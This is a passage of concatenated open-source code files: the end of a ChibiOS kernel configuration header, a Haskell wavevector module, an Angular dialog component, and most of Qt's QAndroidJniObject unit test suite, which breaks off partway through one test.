*/ #define CH_CFG_IDLE_ENTER_HOOK() { \ /* Idle-enter code here.*/ \ } /** * @brief Idle thread leave hook. * @note This hook is invoked within a critical zone, no OS functions * should be invoked from here. * @note This macro can be used to deactivate a power saving mode. */ #define CH_CFG_IDLE_LEAVE_HOOK() { \ /* Idle-leave code here.*/ \ } /** * @brief Idle Loop hook. * @details This hook is continuously invoked by the idle thread loop. */ #define CH_CFG_IDLE_LOOP_HOOK() { \ /* Idle loop code here.*/ \ } /** * @brief System tick event hook. * @details This hook is invoked in the system tick handler immediately * after processing the virtual timers queue. */ #define CH_CFG_SYSTEM_TICK_HOOK() { \ /* System tick event code here.*/ \ } /** * @brief System halt hook. * @details This hook is invoked in case to a system halting error before * the system is halted. */ #define CH_CFG_SYSTEM_HALT_HOOK(reason) { \ /* System halt code here.*/ \ } /** * @brief Trace hook. * @details This hook is invoked each time a new record is written in the * trace buffer. */ #define CH_CFG_TRACE_HOOK(tep) { \ /* Trace code here.*/ \ } /** @} */ /*===========================================================================*/ /* Port-specific settings (override port settings defaulted in chcore.h). */ /*===========================================================================*/ #endif /* _CHCONF_H_ */ /** @} */
gpl-3.0
klauer/hkl
contrib/Hkl/Source.hs
589
{- Copyright : Copyright (C) 2014-2015 Synchrotron Soleil License : GPL3+ Maintainer : picca@synchrotron-soleil.fr Stability : Experimental Portability: GHC only? -} module Hkl.Source ( ki ) where import Prelude hiding ((/)) import Numeric.LinearAlgebra (Vector, fromList) import Numeric.Units.Dimensional.Prelude (nano, meter, (*~), (/~), (/), Length, one) import Hkl.Lattice (tau) lambda :: Length Double lambda = 1.54 *~ nano meter ki :: Vector Double ki = fromList [(tau / lambda) /~ (one / meter), 0, 0]
gpl-3.0
sumnercreations/ceilings
src/app/quantity/remove-quantity/remove-quantity.component.ts
598
import { Component, OnInit, Inject } from '@angular/core'; import { MAT_DIALOG_DATA, MatDialogRef } from '@angular/material'; @Component({ selector: 'app-remove-quantity', templateUrl: './remove-quantity.component.html', styleUrls: ['./remove-quantity.component.css'] }) export class RemoveQuantityComponent implements OnInit { constructor( @Inject(MAT_DIALOG_DATA) public selection: any, private dialogRef: MatDialogRef<RemoveQuantityComponent> ) {} ngOnInit() {} cancel() { this.dialogRef.close(); } removeFromOrder() { this.dialogRef.close('remove'); } }
gpl-3.0
geminy/aidear
oss/qt/qt-everywhere-opensource-src-5.9.0/qtandroidextras/tests/auto/qandroidjniobject/tst_qandroidjniobject.cpp
43144
/**************************************************************************** ** ** Copyright (C) 2016 The Qt Company Ltd. ** Contact: https://www.qt.io/licensing/ ** ** This file is part of the test suite of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:GPL-EXCEPT$ ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and The Qt Company. For licensing terms ** and conditions see https://www.qt.io/terms-conditions. For further ** information use the contact form at https://www.qt.io/contact-us. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License version 3 as published by the Free Software ** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT ** included in the packaging of this file. Please review the following ** information to ensure the GNU General Public License requirements will ** be met: https://www.gnu.org/licenses/gpl-3.0.html. ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #include <QString> #include <QtTest> #include <QtAndroidExtras/QAndroidJniObject> #include <QtAndroidExtras/QAndroidJniEnvironment> static const char testClassName[] = "org/qtproject/qt5/android/testdatapackage/QtAndroidJniObjectTestClass"; static const jbyte A_BYTE_VALUE = 127; static const jshort A_SHORT_VALUE = 32767; static const jint A_INT_VALUE = 060701; static const jlong A_LONG_VALUE = 060701; static const jfloat A_FLOAT_VALUE = 1.0; static const jdouble A_DOUBLE_VALUE = 1.0; static const jboolean A_BOOLEAN_VALUE = true; static const jchar A_CHAR_VALUE = 'Q'; static QString A_STRING_OBJECT() { return QStringLiteral("TEST_DATA_STRING"); } class tst_QAndroidJniObject : public QObject { Q_OBJECT public: tst_QAndroidJniObject(); private slots: void initTestCase(); void ctor(); void callMethodTest(); void callObjectMethodTest(); void stringConvertionTest(); void compareOperatorTests(); void callStaticObjectMethodClassName(); void callStaticObjectMethod(); void callStaticBooleanMethodClassName(); void callStaticBooleanMethod(); void callStaticCharMethodClassName(); void callStaticCharMethod(); void callStaticIntMethodClassName(); void callStaticIntMethod(); void callStaticByteMethodClassName(); void callStaticByteMethod(); void callStaticDoubleMethodClassName(); void callStaticDoubleMethod(); void callStaticFloatMethodClassName(); void callStaticFloatMethod(); void callStaticLongMethodClassName(); void callStaticLongMethod(); void callStaticShortMethodClassName(); void callStaticShortMethod(); void getStaticObjectFieldClassName(); void getStaticObjectField(); void getStaticIntFieldClassName(); void getStaticIntField(); void getStaticByteFieldClassName(); void getStaticByteField(); void getStaticLongFieldClassName(); void getStaticLongField(); void getStaticDoubleFieldClassName(); void getStaticDoubleField(); void getStaticFloatFieldClassName(); void getStaticFloatField(); void getStaticShortFieldClassName(); void getStaticShortField(); void getStaticCharFieldClassName(); void getStaticCharField(); void getBooleanField(); void getIntField(); void templateApiCheck(); void isClassAvailable(); void fromLocalRef(); void cleanupTestCase(); }; tst_QAndroidJniObject::tst_QAndroidJniObject() { } void tst_QAndroidJniObject::initTestCase() { } void tst_QAndroidJniObject::cleanupTestCase() { } void tst_QAndroidJniObject::ctor() { { QAndroidJniObject object; QVERIFY(!object.isValid()); } { QAndroidJniObject object("java/lang/String"); QVERIFY(object.isValid()); } { QAndroidJniObject string = QAndroidJniObject::fromString(QLatin1String("Hello, Java")); QAndroidJniObject object("java/lang/String", "(Ljava/lang/String;)V", string.object<jstring>()); QVERIFY(object.isValid()); QCOMPARE(string.toString(), object.toString()); } { QAndroidJniEnvironment env; jclass javaStringClass = env->FindClass("java/lang/String"); QAndroidJniObject string(javaStringClass); QVERIFY(string.isValid()); } { QAndroidJniEnvironment env; const QString qString = QLatin1String("Hello, Java"); jclass javaStringClass = env->FindClass("java/lang/String"); QAndroidJniObject string = QAndroidJniObject::fromString(qString); QAndroidJniObject stringCpy(javaStringClass, "(Ljava/lang/String;)V", string.object<jstring>()); QVERIFY(stringCpy.isValid()); QCOMPARE(qString, stringCpy.toString()); } } void tst_QAndroidJniObject::callMethodTest() { { QAndroidJniObject jString1 = QAndroidJniObject::fromString(QLatin1String("Hello, Java")); QAndroidJniObject jString2 = QAndroidJniObject::fromString(QLatin1String("hELLO, jAVA")); QVERIFY(jString1 != jString2); const jboolean isEmpty = jString1.callMethod<jboolean>("isEmpty"); QVERIFY(!isEmpty); const jint ret = jString1.callMethod<jint>("compareToIgnoreCase", "(Ljava/lang/String;)I", jString2.object<jstring>()); QVERIFY(0 == ret); } { jlong jLong = 100; QAndroidJniObject longObject("java/lang/Long", "(J)V", jLong); jlong ret = longObject.callMethod<jlong>("longValue"); QCOMPARE(ret, jLong); } } void tst_QAndroidJniObject::callObjectMethodTest() { const QString qString = QLatin1String("Hello, Java"); QAndroidJniObject jString = QAndroidJniObject::fromString(qString); const QString qStringRet = jString.callObjectMethod<jstring>("toUpperCase").toString(); QCOMPARE(qString.toUpper(), qStringRet); QAndroidJniObject subString = jString.callObjectMethod("substring", "(II)Ljava/lang/String;", 0, 4); QCOMPARE(subString.toString(), qString.mid(0, 4)); } void tst_QAndroidJniObject::stringConvertionTest() { const QString qString(QLatin1String("Hello, Java")); QAndroidJniObject jString = QAndroidJniObject::fromString(qString); QVERIFY(jString.isValid()); QString qStringRet = jString.toString(); QCOMPARE(qString, qStringRet); } void tst_QAndroidJniObject::compareOperatorTests() { QString str("hello!"); QAndroidJniObject stringObject = QAndroidJniObject::fromString(str); jobject obj = stringObject.object(); jobject jobj = stringObject.object<jobject>(); jstring jsobj = stringObject.object<jstring>(); QVERIFY(obj == stringObject); QVERIFY(jobj == stringObject); QVERIFY(stringObject == jobj); QVERIFY(jsobj == stringObject); QVERIFY(stringObject == jsobj); QAndroidJniObject stringObject3 = stringObject.object<jstring>(); QVERIFY(stringObject3 == stringObject); QAndroidJniObject stringObject2 = QAndroidJniObject::fromString(str); QVERIFY(stringObject != stringObject2); jstring jstrobj = 0; QAndroidJniObject invalidStringObject; QVERIFY(invalidStringObject == jstrobj); QVERIFY(jstrobj != stringObject); QVERIFY(stringObject != jstrobj); QVERIFY(!invalidStringObject.isValid()); } void tst_QAndroidJniObject::callStaticObjectMethodClassName() { QAndroidJniObject formatString = QAndroidJniObject::fromString(QLatin1String("test format")); QVERIFY(formatString.isValid()); QVERIFY(QAndroidJniObject::isClassAvailable("java/lang/String")); QAndroidJniObject returnValue = QAndroidJniObject::callStaticObjectMethod("java/lang/String", "format", "(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;", formatString.object<jstring>(), jobjectArray(0)); QVERIFY(returnValue.isValid()); QString returnedString = returnValue.toString(); QCOMPARE(returnedString, QString::fromLatin1("test format")); } void tst_QAndroidJniObject::callStaticObjectMethod() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/String"); QVERIFY(cls != 0); QAndroidJniObject formatString = QAndroidJniObject::fromString(QLatin1String("test format")); QVERIFY(formatString.isValid()); QAndroidJniObject returnValue = QAndroidJniObject::callStaticObjectMethod(cls, "format", "(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;", formatString.object<jstring>(), jobjectArray(0)); QVERIFY(returnValue.isValid()); QString returnedString = returnValue.toString(); QCOMPARE(returnedString, QString::fromLatin1("test format")); } void tst_QAndroidJniObject::callStaticBooleanMethod() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Boolean"); QVERIFY(cls != 0); { QAndroidJniObject parameter = QAndroidJniObject::fromString("true"); QVERIFY(parameter.isValid()); jboolean b = QAndroidJniObject::callStaticMethod<jboolean>(cls, "parseBoolean", "(Ljava/lang/String;)Z", parameter.object<jstring>()); QVERIFY(b); } { QAndroidJniObject parameter = QAndroidJniObject::fromString("false"); QVERIFY(parameter.isValid()); jboolean b = QAndroidJniObject::callStaticMethod<jboolean>(cls, "parseBoolean", "(Ljava/lang/String;)Z", parameter.object<jstring>()); QVERIFY(!b); } } void tst_QAndroidJniObject::callStaticBooleanMethodClassName() { { QAndroidJniObject parameter = QAndroidJniObject::fromString("true"); QVERIFY(parameter.isValid()); jboolean b = QAndroidJniObject::callStaticMethod<jboolean>("java/lang/Boolean", "parseBoolean", "(Ljava/lang/String;)Z", parameter.object<jstring>()); QVERIFY(b); } { QAndroidJniObject parameter = QAndroidJniObject::fromString("false"); QVERIFY(parameter.isValid()); jboolean b = QAndroidJniObject::callStaticMethod<jboolean>("java/lang/Boolean", "parseBoolean", "(Ljava/lang/String;)Z", parameter.object<jstring>()); QVERIFY(!b); } } void tst_QAndroidJniObject::callStaticByteMethodClassName() { QString number = QString::number(123); QAndroidJniObject parameter = QAndroidJniObject::fromString(number); jbyte returnValue = QAndroidJniObject::callStaticMethod<jbyte>("java/lang/Byte", "parseByte", "(Ljava/lang/String;)B", parameter.object<jstring>()); QCOMPARE(returnValue, jbyte(number.toInt())); } void tst_QAndroidJniObject::callStaticByteMethod() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Byte"); QVERIFY(cls != 0); QString number = QString::number(123); QAndroidJniObject parameter = QAndroidJniObject::fromString(number); jbyte returnValue = QAndroidJniObject::callStaticMethod<jbyte>(cls, "parseByte", "(Ljava/lang/String;)B", parameter.object<jstring>()); QCOMPARE(returnValue, jbyte(number.toInt())); } void tst_QAndroidJniObject::callStaticIntMethodClassName() { QString number = QString::number(123); QAndroidJniObject parameter = QAndroidJniObject::fromString(number); jint returnValue = QAndroidJniObject::callStaticMethod<jint>("java/lang/Integer", "parseInt", "(Ljava/lang/String;)I", parameter.object<jstring>()); QCOMPARE(returnValue, number.toInt()); } void tst_QAndroidJniObject::callStaticIntMethod() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Integer"); QVERIFY(cls != 0); QString number = QString::number(123); QAndroidJniObject parameter = QAndroidJniObject::fromString(number); jint returnValue = QAndroidJniObject::callStaticMethod<jint>(cls, "parseInt", "(Ljava/lang/String;)I", parameter.object<jstring>()); QCOMPARE(returnValue, number.toInt()); } void tst_QAndroidJniObject::callStaticCharMethodClassName() { jchar returnValue = QAndroidJniObject::callStaticMethod<jchar>("java/lang/Character", "toUpperCase", "(C)C", jchar('a')); QCOMPARE(returnValue, jchar('A')); } void tst_QAndroidJniObject::callStaticCharMethod() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Character"); QVERIFY(cls != 0); jchar returnValue = QAndroidJniObject::callStaticMethod<jchar>(cls, "toUpperCase", "(C)C", jchar('a')); QCOMPARE(returnValue, jchar('A')); } void tst_QAndroidJniObject::callStaticDoubleMethodClassName () { QString number = QString::number(123.45); QAndroidJniObject parameter = QAndroidJniObject::fromString(number); jdouble returnValue = QAndroidJniObject::callStaticMethod<jdouble>("java/lang/Double", "parseDouble", "(Ljava/lang/String;)D", parameter.object<jstring>()); QCOMPARE(returnValue, number.toDouble()); } void tst_QAndroidJniObject::callStaticDoubleMethod() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Double"); QVERIFY(cls != 0); QString number = QString::number(123.45); QAndroidJniObject parameter = QAndroidJniObject::fromString(number); jdouble returnValue = QAndroidJniObject::callStaticMethod<jdouble>(cls, "parseDouble", "(Ljava/lang/String;)D", parameter.object<jstring>()); QCOMPARE(returnValue, number.toDouble()); } void tst_QAndroidJniObject::callStaticFloatMethodClassName() { QString number = QString::number(123.45); QAndroidJniObject parameter = QAndroidJniObject::fromString(number); jfloat returnValue = QAndroidJniObject::callStaticMethod<jfloat>("java/lang/Float", "parseFloat", "(Ljava/lang/String;)F", parameter.object<jstring>()); QCOMPARE(returnValue, number.toFloat()); } void tst_QAndroidJniObject::callStaticFloatMethod() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Float"); QVERIFY(cls != 0); QString number = QString::number(123.45); QAndroidJniObject parameter = QAndroidJniObject::fromString(number); jfloat returnValue = QAndroidJniObject::callStaticMethod<jfloat>(cls, "parseFloat", "(Ljava/lang/String;)F", parameter.object<jstring>()); QCOMPARE(returnValue, number.toFloat()); } void tst_QAndroidJniObject::callStaticShortMethodClassName() { QString number = QString::number(123); QAndroidJniObject parameter = QAndroidJniObject::fromString(number); jshort returnValue = QAndroidJniObject::callStaticMethod<jshort>("java/lang/Short", "parseShort", "(Ljava/lang/String;)S", parameter.object<jstring>()); QCOMPARE(returnValue, number.toShort()); } void tst_QAndroidJniObject::callStaticShortMethod() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Short"); QVERIFY(cls != 0); QString number = QString::number(123); QAndroidJniObject parameter = QAndroidJniObject::fromString(number); jshort returnValue = QAndroidJniObject::callStaticMethod<jshort>(cls, "parseShort", "(Ljava/lang/String;)S", parameter.object<jstring>()); QCOMPARE(returnValue, number.toShort()); } void tst_QAndroidJniObject::callStaticLongMethodClassName() { QString number = QString::number(123); QAndroidJniObject parameter = QAndroidJniObject::fromString(number); jlong returnValue = QAndroidJniObject::callStaticMethod<jlong>("java/lang/Long", "parseLong", "(Ljava/lang/String;)J", parameter.object<jstring>()); QCOMPARE(returnValue, jlong(number.toLong())); } void tst_QAndroidJniObject::callStaticLongMethod() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Long"); QVERIFY(cls != 0); QString number = QString::number(123); QAndroidJniObject parameter = QAndroidJniObject::fromString(number); jlong returnValue = QAndroidJniObject::callStaticMethod<jlong>(cls, "parseLong", "(Ljava/lang/String;)J", parameter.object<jstring>()); QCOMPARE(returnValue, jlong(number.toLong())); } void tst_QAndroidJniObject::getStaticObjectFieldClassName() { { QAndroidJniObject boolObject = QAndroidJniObject::getStaticObjectField<jobject>("java/lang/Boolean", "FALSE", "Ljava/lang/Boolean;"); QVERIFY(boolObject.isValid()); jboolean booleanValue = boolObject.callMethod<jboolean>("booleanValue"); QVERIFY(!booleanValue); } { QAndroidJniObject boolObject = QAndroidJniObject::getStaticObjectField<jobject>("java/lang/Boolean", "TRUE", "Ljava/lang/Boolean;"); QVERIFY(boolObject.isValid()); jboolean booleanValue = boolObject.callMethod<jboolean>("booleanValue"); QVERIFY(booleanValue); } { QAndroidJniObject boolObject = QAndroidJniObject::getStaticObjectField("java/lang/Boolean", "FALSE", "Ljava/lang/Boolean;"); QVERIFY(boolObject.isValid()); jboolean booleanValue = boolObject.callMethod<jboolean>("booleanValue"); QVERIFY(!booleanValue); } } void tst_QAndroidJniObject::getStaticObjectField() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Boolean"); QVERIFY(cls != 0); { QAndroidJniObject boolObject = QAndroidJniObject::getStaticObjectField<jobject>(cls, "FALSE", "Ljava/lang/Boolean;"); QVERIFY(boolObject.isValid()); jboolean booleanValue = boolObject.callMethod<jboolean>("booleanValue"); QVERIFY(!booleanValue); } { QAndroidJniObject boolObject = QAndroidJniObject::getStaticObjectField<jobject>(cls, "TRUE", "Ljava/lang/Boolean;"); QVERIFY(boolObject.isValid()); jboolean booleanValue = boolObject.callMethod<jboolean>("booleanValue"); QVERIFY(booleanValue); } { QAndroidJniObject boolObject = QAndroidJniObject::getStaticObjectField(cls, "FALSE", "Ljava/lang/Boolean;"); QVERIFY(boolObject.isValid()); jboolean booleanValue = boolObject.callMethod<jboolean>("booleanValue"); QVERIFY(!booleanValue); } } void tst_QAndroidJniObject::getStaticIntFieldClassName() { jint i = QAndroidJniObject::getStaticField<jint>("java/lang/Double", "SIZE"); QCOMPARE(i, 64); } void tst_QAndroidJniObject::getStaticIntField() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Double"); QVERIFY(cls != 0); jint i = QAndroidJniObject::getStaticField<jint>(cls, "SIZE"); QCOMPARE(i, 64); } void tst_QAndroidJniObject::getStaticByteFieldClassName() { jbyte i = QAndroidJniObject::getStaticField<jbyte>("java/lang/Byte", "MAX_VALUE"); QCOMPARE(i, jbyte(127)); } void tst_QAndroidJniObject::getStaticByteField() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Byte"); QVERIFY(cls != 0); jbyte i = QAndroidJniObject::getStaticField<jbyte>(cls, "MAX_VALUE"); QCOMPARE(i, jbyte(127)); } void tst_QAndroidJniObject::getStaticLongFieldClassName() { jlong i = QAndroidJniObject::getStaticField<jlong>("java/lang/Long", "MAX_VALUE"); QCOMPARE(i, jlong(9223372036854775807L)); } void tst_QAndroidJniObject::getStaticLongField() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Long"); QVERIFY(cls != 0); jlong i = QAndroidJniObject::getStaticField<jlong>(cls, "MAX_VALUE"); QCOMPARE(i, jlong(9223372036854775807L)); } void tst_QAndroidJniObject::getStaticDoubleFieldClassName() { jdouble i = QAndroidJniObject::getStaticField<jdouble>("java/lang/Double", "NaN"); jlong *k = reinterpret_cast<jlong*>(&i); QCOMPARE(*k, jlong(0x7ff8000000000000L)); } void tst_QAndroidJniObject::getStaticDoubleField() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Double"); QVERIFY(cls != 0); jdouble i = QAndroidJniObject::getStaticField<jdouble>(cls, "NaN"); jlong *k = reinterpret_cast<jlong*>(&i); QCOMPARE(*k, jlong(0x7ff8000000000000L)); } void tst_QAndroidJniObject::getStaticFloatFieldClassName() { jfloat i = QAndroidJniObject::getStaticField<jfloat>("java/lang/Float", "NaN"); unsigned *k = reinterpret_cast<unsigned*>(&i); QCOMPARE(*k, unsigned(0x7fc00000)); } void tst_QAndroidJniObject::getStaticFloatField() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Float"); QVERIFY(cls != 0); jfloat i = QAndroidJniObject::getStaticField<jfloat>(cls, "NaN"); unsigned *k = reinterpret_cast<unsigned*>(&i); QCOMPARE(*k, unsigned(0x7fc00000)); } void tst_QAndroidJniObject::getStaticShortFieldClassName() { jshort i = QAndroidJniObject::getStaticField<jshort>("java/lang/Short", "MAX_VALUE"); QCOMPARE(i, jshort(32767)); } void tst_QAndroidJniObject::getStaticShortField() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Short"); QVERIFY(cls != 0); jshort i = QAndroidJniObject::getStaticField<jshort>(cls, "MAX_VALUE"); QCOMPARE(i, jshort(32767)); } void tst_QAndroidJniObject::getStaticCharFieldClassName() { jchar i = QAndroidJniObject::getStaticField<jchar>("java/lang/Character", "MAX_VALUE"); QCOMPARE(i, jchar(0xffff)); } void tst_QAndroidJniObject::getStaticCharField() { QAndroidJniEnvironment env; jclass cls = env->FindClass("java/lang/Character"); QVERIFY(cls != 0); jchar i = QAndroidJniObject::getStaticField<jchar>(cls, "MAX_VALUE"); QCOMPARE(i, jchar(0xffff)); } void tst_QAndroidJniObject::getBooleanField() { QAndroidJniObject obj("org/qtproject/qt5/android/QtActivityDelegate"); QVERIFY(obj.isValid()); QVERIFY(!obj.getField<jboolean>("m_fullScreen")); } void tst_QAndroidJniObject::getIntField() { QAndroidJniObject obj("org/qtproject/qt5/android/QtActivityDelegate"); QVERIFY(obj.isValid()); jint res = obj.getField<jint>("m_currentRotation"); QCOMPARE(res, -1); } void tst_QAndroidJniObject::templateApiCheck() { QAndroidJniObject testClass(testClassName); QVERIFY(testClass.isValid()); // void --------------------------------------------------------------------------------------- QAndroidJniObject::callStaticMethod<void>(testClassName, "staticVoidMethod"); QAndroidJniObject::callStaticMethod<void>(testClassName, "staticVoidMethodWithArgs", "(IZC)V", 1, true, 'c'); testClass.callMethod<void>("voidMethod"); testClass.callMethod<void>("voidMethodWithArgs", "(IZC)V", 1, true, 'c'); // jboolean ----------------------------------------------------------------------------------- QVERIFY(QAndroidJniObject::callStaticMethod<jboolean>(testClassName, "staticBooleanMethod")); QVERIFY(QAndroidJniObject::callStaticMethod<jboolean>(testClassName, "staticBooleanMethodWithArgs", "(ZZZ)Z", true, true, true)); QVERIFY(testClass.callMethod<jboolean>("booleanMethod")); QVERIFY(testClass.callMethod<jboolean>("booleanMethodWithArgs", "(ZZZ)Z", true, true, true)); // jbyte -------------------------------------------------------------------------------------- QVERIFY(QAndroidJniObject::callStaticMethod<jbyte>(testClassName, "staticByteMethod") == A_BYTE_VALUE); QVERIFY(QAndroidJniObject::callStaticMethod<jbyte>(testClassName, "staticByteMethodWithArgs", "(BBB)B", 1, 1, 1) == A_BYTE_VALUE); QVERIFY(testClass.callMethod<jbyte>("byteMethod") == A_BYTE_VALUE); QVERIFY(testClass.callMethod<jbyte>("byteMethodWithArgs", "(BBB)B", 1, 1, 1) == A_BYTE_VALUE); // jchar -------------------------------------------------------------------------------------- QVERIFY(QAndroidJniObject::callStaticMethod<jchar>(testClassName, "staticCharMethod") == A_CHAR_VALUE); QVERIFY(QAndroidJniObject::callStaticMethod<jchar>(testClassName, "staticCharMethodWithArgs", "(CCC)C", jchar(1), jchar(1), jchar(1)) == A_CHAR_VALUE); QVERIFY(testClass.callMethod<jchar>("charMethod") == A_CHAR_VALUE); QVERIFY(testClass.callMethod<jchar>("charMethodWithArgs", "(CCC)C", jchar(1), jchar(1), jchar(1)) == A_CHAR_VALUE); // jshort ------------------------------------------------------------------------------------- QVERIFY(QAndroidJniObject::callStaticMethod<jshort>(testClassName, "staticShortMethod") == A_SHORT_VALUE); QVERIFY(QAndroidJniObject::callStaticMethod<jshort>(testClassName, "staticShortMethodWithArgs", "(SSS)S", jshort(1), jshort(1), jshort(1)) == A_SHORT_VALUE); QVERIFY(testClass.callMethod<jshort>("shortMethod") == A_SHORT_VALUE); QVERIFY(testClass.callMethod<jshort>("shortMethodWithArgs", "(SSS)S", jshort(1), jshort(1), jshort(1)) == A_SHORT_VALUE); // jint --------------------------------------------------------------------------------------- QVERIFY(QAndroidJniObject::callStaticMethod<jint>(testClassName, "staticIntMethod") == A_INT_VALUE); QVERIFY(QAndroidJniObject::callStaticMethod<jint>(testClassName, "staticIntMethodWithArgs", "(III)I", jint(1), jint(1), jint(1)) == A_INT_VALUE); QVERIFY(testClass.callMethod<jint>("intMethod") == A_INT_VALUE); QVERIFY(testClass.callMethod<jint>("intMethodWithArgs", "(III)I", jint(1), jint(1), jint(1)) == A_INT_VALUE); // jlong -------------------------------------------------------------------------------------- QVERIFY(QAndroidJniObject::callStaticMethod<jlong>(testClassName, "staticLongMethod") == A_LONG_VALUE); QVERIFY(QAndroidJniObject::callStaticMethod<jlong>(testClassName, "staticLongMethodWithArgs", "(JJJ)J", jlong(1), jlong(1), jlong(1)) == A_LONG_VALUE); QVERIFY(testClass.callMethod<jlong>("longMethod") == A_LONG_VALUE); QVERIFY(testClass.callMethod<jlong>("longMethodWithArgs", "(JJJ)J", jlong(1), jlong(1), jlong(1)) == A_LONG_VALUE); // jfloat ------------------------------------------------------------------------------------- QVERIFY(QAndroidJniObject::callStaticMethod<jfloat>(testClassName, "staticFloatMethod") == A_FLOAT_VALUE); QVERIFY(QAndroidJniObject::callStaticMethod<jfloat>(testClassName, "staticFloatMethodWithArgs", "(FFF)F", jfloat(1.1), jfloat(1.1), jfloat(1.1)) == A_FLOAT_VALUE); QVERIFY(testClass.callMethod<jfloat>("floatMethod") == A_FLOAT_VALUE); QVERIFY(testClass.callMethod<jfloat>("floatMethodWithArgs", "(FFF)F", jfloat(1.1), jfloat(1.1), jfloat(1.1)) == A_FLOAT_VALUE); // jdouble ------------------------------------------------------------------------------------ QVERIFY(QAndroidJniObject::callStaticMethod<jdouble>(testClassName, "staticDoubleMethod") == A_DOUBLE_VALUE); QVERIFY(QAndroidJniObject::callStaticMethod<jdouble>(testClassName, "staticDoubleMethodWithArgs", "(DDD)D", jdouble(1.1), jdouble(1.1), jdouble(1.1)) == A_DOUBLE_VALUE); QVERIFY(testClass.callMethod<jdouble>("doubleMethod") == A_DOUBLE_VALUE); QVERIFY(testClass.callMethod<jdouble>("doubleMethodWithArgs", "(DDD)D", jdouble(1.1), jdouble(1.1), jdouble(1.1)) == A_DOUBLE_VALUE); // jobject ------------------------------------------------------------------------------------ { QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jobject>(testClassName, "staticObjectMethod"); QVERIFY(res.isValid()); } { QAndroidJniObject res = testClass.callObjectMethod<jobject>("objectMethod"); QVERIFY(res.isValid()); } // jclass ------------------------------------------------------------------------------------- { QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jclass>(testClassName, "staticClassMethod"); QVERIFY(res.isValid()); QAndroidJniEnvironment env; QVERIFY(env->IsInstanceOf(testClass.object(), res.object<jclass>())); } { QAndroidJniObject res = testClass.callObjectMethod<jclass>("classMethod"); QVERIFY(res.isValid()); QAndroidJniEnvironment env; QVERIFY(env->IsInstanceOf(testClass.object(), res.object<jclass>())); } // jstring ------------------------------------------------------------------------------------ { QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jstring>(testClassName, "staticStringMethod"); QVERIFY(res.isValid()); QVERIFY(res.toString() == A_STRING_OBJECT()); } { QAndroidJniObject res = testClass.callObjectMethod<jstring>("stringMethod"); QVERIFY(res.isValid()); QVERIFY(res.toString() == A_STRING_OBJECT()); } // jthrowable --------------------------------------------------------------------------------- { // The Throwable object the same message (see: "getMessage()") as A_STRING_OBJECT QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jthrowable>(testClassName, "staticThrowableMethod"); QVERIFY(res.isValid()); QVERIFY(res.callObjectMethod<jstring>("getMessage").toString() == A_STRING_OBJECT()); } { QAndroidJniObject res = testClass.callObjectMethod<jthrowable>("throwableMethod"); QVERIFY(res.isValid()); QVERIFY(res.callObjectMethod<jstring>("getMessage").toString() == A_STRING_OBJECT()); } // jobjectArray ------------------------------------------------------------------------------- { QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jobjectArray>(testClassName, "staticObjectArrayMethod"); QVERIFY(res.isValid()); } { QAndroidJniObject res = testClass.callObjectMethod<jobjectArray>("objectArrayMethod"); QVERIFY(res.isValid()); } // jbooleanArray ------------------------------------------------------------------------------ { QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jbooleanArray>(testClassName, "staticBooleanArrayMethod"); QVERIFY(res.isValid()); } { QAndroidJniObject res = testClass.callObjectMethod<jbooleanArray>("booleanArrayMethod"); QVERIFY(res.isValid()); } // jbyteArray --------------------------------------------------------------------------------- { QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jbyteArray>(testClassName, "staticByteArrayMethod"); QVERIFY(res.isValid()); } { QAndroidJniObject res = testClass.callObjectMethod<jbyteArray>("byteArrayMethod"); QVERIFY(res.isValid()); } // jcharArray --------------------------------------------------------------------------------- { QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jcharArray>(testClassName, "staticCharArrayMethod"); QVERIFY(res.isValid()); } { QAndroidJniObject res = testClass.callObjectMethod<jcharArray>("charArrayMethod"); QVERIFY(res.isValid()); } // jshortArray -------------------------------------------------------------------------------- { QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jshortArray>(testClassName, "staticShortArrayMethod"); QVERIFY(res.isValid()); } { QAndroidJniObject res = testClass.callObjectMethod<jshortArray>("shortArrayMethod"); QVERIFY(res.isValid()); } // jintArray ---------------------------------------------------------------------------------- { QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jintArray>(testClassName, "staticIntArrayMethod"); QVERIFY(res.isValid()); } { QAndroidJniObject res = testClass.callObjectMethod<jintArray>("intArrayMethod"); QVERIFY(res.isValid()); } // jlongArray --------------------------------------------------------------------------------- { QAndroidJniObject res = QAndroidJniObject::callStaticObjectMethod<jlongArray>(testClassName, "staticLongArrayMethod"); QVERIFY(res.isValid()); } { QAndroidJniObject res = testClass.callObjectMethod<jlongArray>("longArrayMethod"); 